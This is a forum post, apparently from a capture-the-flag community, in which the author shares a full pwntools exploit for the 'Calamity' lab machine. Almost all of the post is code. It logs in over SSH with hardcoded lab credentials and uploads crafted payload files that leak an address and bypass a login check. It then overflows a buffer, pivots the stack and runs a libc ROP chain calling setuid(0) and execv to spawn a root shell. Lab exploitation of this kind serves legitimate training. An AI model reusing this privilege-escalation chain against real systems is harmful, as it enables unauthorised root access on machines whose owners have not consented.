Hi,
I’ve checked the two writeups for Calamity, and because some lack of knowledge on my side I did the BOF exploitation a bit different. Don’t used the mprotect function because don’t know about it. Using ROP managed to execute setuid and execv to spawn the privileged shell, but first I had to pivot ESP to the beggining of the buffer because there wasn’t enough space at the end to fit all the ROP chain.
Anyways I share the way I did it, maybe it’s of interest of someone. It’s a remote exploit made with pwntools after joining all the pieces locally in the machine:
from pwn import *
host="10.10.10.27"
user="xalvas"
password="18547936..*"
RWD="/tmp/"
#connecting via SSH
s=ssh(host=host, user=user, password=password)
#generating the first file payload on RWD\pay1
fname1=RWD+"pay1"
pay1='\x00'*8+'\xf8\x2f\x00\x80' #we change the value of the EBX to leak the protect parameter
log.info("Uploading: Payload1")
s.upload_data(pay1,fname1)
#starting the process
p=s.process("/home/xalvas/app/goodluck")
p.recvuntil(":")
log.info("Sending filename1: "+ fname1)
p.sendline(fname1)
p.recvuntil(":")
#leaking the protect address
p.sendline("2")
p.recvuntil(":")
leak=p.recvline()[:-1]
log.info("Leaking 'protect' value: "+leak)
p.recvuntil(":")
#generating second payload to bypass login using the previous leaked address
leaked=int(leak,16) # transforming string to hex value to work with it
fname2=RWD+"pay2"
# PADD LEAKED HEAP STR ADDR
pay2='\x00'*4+p32(leaked)+'\x08\x49\x00\x80'
#using leaked value to not trigger hacker protection, and setting EBX to make hey.admin points to non null data to bypass login
log.info("Uploading: Payload2")
s.upload_data(pay2,fname2)
#bypassing login
p.sendline("4")
p.recvuntil(":")
log.info("Sending filename2: "+fname2)
p.sendline(fname2)
p.recvuntil(":")
p.sendline("3")
log.info("Jumping to debug function!!!")
#preparing to take the control of the flow
p.recvuntil('at ')
p.recvuntil('at ')
vuln=int('0x'+p.recvline(),16) #setting the address of the vuln buffer
p.recvline()
log.info("'vuln' param address: "+hex(vuln))
p.recvuntil('Filename:')
#preparing to bof
fname3=RWD+"pay3"
#offset found with help of cyclic() and cyclic_find() -> 76
#Here we require ROP
# Note: at the end, where bof happens, we have to pivot ESP to beginning of vuln because there is no enough space for all the ROP chain
LIBC=0xb7e1a000 #also leaked by the debug function
#ROP objects used, from LIBC. Get them searching with ropper on the libc file loaded by the binary
pop_eax=0x0002406e+LIBC # pop eax; ret;
x_eax_esp=0x00018ea7+LIBC # xchg eax, esp; ret;
SETUID=0x000b12e0+LIBC
EXECV=0x000b08f0+LIBC
CMND=0x15b9ab+LIBC
pay3 = ""
#execute setuid(0) and as return use pop ret to clean the stack after function execution and jump to execv cleanly
pay3+= p32(SETUID)+p32(pop_eax)+p32(0x0)
#calling execv, exit address is not required in this case, passing as param1 "/bin/sh" address, and as param2 a NULL pointer
pay3+= p32(EXECV)+p32(0x0)+p32(CMND)+p32(0x0)
#padding to trigger the overflow
pay3+='\x00'*(76-len(pay3))
#stack pivoting -> pop vuln buffer address into EAX and xchg with ESP. Then on ret, ESP will be poiting to vuln buffer start -> setuid(0)
pay3+=p32(pop_eax)+p32(vuln)+p32(x_eax_esp)
log.info("Uploading: Payload3")
s.upload_data(pay3,fname3)
p.sendline(fname3)
#cleaning
log.info("Cleaning payloads")
s.run("rm "+fname1)
s.run("rm "+fname2)
s.run("rm "+fname3)
#getting the shell
p.interactive()